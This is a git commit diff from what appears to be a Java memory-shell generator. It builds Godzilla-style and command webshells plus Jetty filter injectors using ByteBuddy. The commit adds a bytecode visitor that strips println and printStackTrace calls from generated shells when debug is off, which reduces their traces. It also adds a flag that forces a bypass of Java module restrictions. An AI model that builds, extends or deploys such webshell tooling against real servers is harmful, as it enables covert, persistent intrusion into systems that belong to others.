feat: support debug mode

generator/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java

@@ -18,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  *
  * @author ReaJason
  */
-public class ByPassJdkModuleInterceptor {
+public class ByPassJavaModuleInterceptor {
     @Advice.OnMethodEnter
     public static void enter(@Advice.Origin Class<?> clazz) {
         try {
@@ -61,7 +61,7 @@ public class ByPassJdkModuleInterceptor {
                 .intercept(FixedValue.originType())
                 .visit(new AsmVisitorWrapper.ForDeclaredMethods()
                         .method(named("byPassJdkModule"),
-                                Advice.to(ByPassJdkModuleInterceptor.class)))
+                                Advice.to(ByPassJavaModuleInterceptor.class)))
                 .invokable(isTypeInitializer())
                 .intercept(MethodCall.invoke(named("byPassJdkModule")));
     }

generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java

@@ -0,0 +1,58 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.MethodVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
+import net.bytebuddy.matcher.ElementMatchers;
+import net.bytebuddy.pool.TypePool;
+import org.apache.commons.lang3.StringUtils;
+import org.jetbrains.annotations.NotNull;
+
+import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
+import static net.bytebuddy.jar.asm.Opcodes.POP;
+
+/**
+ * Debug 信息打印移除器，目前仅支持移除 System.out.println() - （printf 还不支持） 和 e.printStackTrace()
+ * @author ReaJason
+ */
+public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
+    public static final LogRemoveMethodVisitor INSTANCE = new LogRemoveMethodVisitor();
+
+    public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
+        return builder.visit(
+                new AsmVisitorWrapper.ForDeclaredMethods()
+                        .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
+    }
+
+    @NotNull
+    @Override
+    public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
+                              @NotNull MethodDescription instrumentedMethod,
+                              @NotNull MethodVisitor methodVisitor,
+                              @NotNull Implementation.Context implementationContext,
+                              @NotNull TypePool typePool,
+                              int writerFlags,
+                              int readerFlags) {
+        return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
+            @Override
+            public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
+                if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
+                        || (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))) {
+                    String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
+                    for (String arg : args) {
+                        if (StringUtils.isNotBlank(arg)) {
+                            super.visitInsn(POP);
+                        }
+                    }
+                    super.visitInsn(POP);
+                } else {
+                    super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
+                }
+            }
+        };
+    }
+}

generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java

@@ -37,6 +37,12 @@ public class ShellConfig {
     @Builder.Default
     private int targetJreVersion = Constants.DEFAULT_VERSION;
 
+    /**
+     * 是否需要移除模块限制
+     */
+    @Builder.Default
+    private boolean byPassJavaModule = false;
+
     /**
      * 是否开启混淆
      */
@@ -49,12 +55,16 @@ public class ShellConfig {
     @Builder.Default
     private boolean debug = false;
 
+    public boolean isDebugOff(){
+        return !debug;
+    }
+
 
     public boolean isJakarta() {
         return StringUtils.containsIgnoreCase(shellType, "jakarta");
     }
 
-    public boolean needByPassJdkModule() {
-        return targetJreVersion >= Opcodes.V9;
+    public boolean needByPassJavaModule() {
+        return byPassJavaModule || targetJreVersion >= Opcodes.V9;
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memsell;
 
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.config.CommandConfig;
@@ -33,6 +34,10 @@ public class CommandGenerator {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
         }
 
+        if (config.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
         try (DynamicType.Unloaded<?> make = builder.make()) {
             return make.getBytes();
         }

generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memsell;
 
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.config.GodzillaConfig;
@@ -39,6 +40,10 @@ public class GodzillaGenerator {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
         }
 
+        if (config.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
         try (DynamicType.Unloaded<?> make = builder.make()) {
             return make.getBytes();
         }

generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java

@@ -1,6 +1,7 @@
 package com.reajason.javaweb.memsell;
 
-import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
+import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.config.InjectorConfig;
 import com.reajason.javaweb.config.ShellConfig;
@@ -34,8 +35,12 @@ public class InjectorGenerator {
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
 
-        if (config.needByPassJdkModule()) {
-            builder = ByPassJdkModuleInterceptor.extend(builder);
+        if (config.needByPassJavaModule()) {
+            builder = ByPassJavaModuleInterceptor.extend(builder);
+        }
+
+        if (config.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
         }
 
         try (DynamicType.Unloaded<?> make = builder.make()) {

generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java

@@ -46,15 +46,6 @@ public class JettyFilterInjector {
 
     }
 
-    public String getFilterName(String className) {
-        if (className.contains(".")) {
-            int lastDotIndex = className.lastIndexOf(".");
-            return className.substring(lastDotIndex + 1);
-        } else {
-            return className;
-        }
-    }
-
     public void addFilter(Object context, Object magicFilter) {
         Class<?> filterClass = magicFilter.getClass();
         try {
@@ -122,7 +113,8 @@ public class JettyFilterInjector {
             } catch (Exception ignored) {
             }
         }
-        System.out.printf("contextSize: %s%n", contexts.size());
+        String log = String.format("contextSize: %s%n", contexts.size());
+        System.out.println(log);
         return contexts;
     }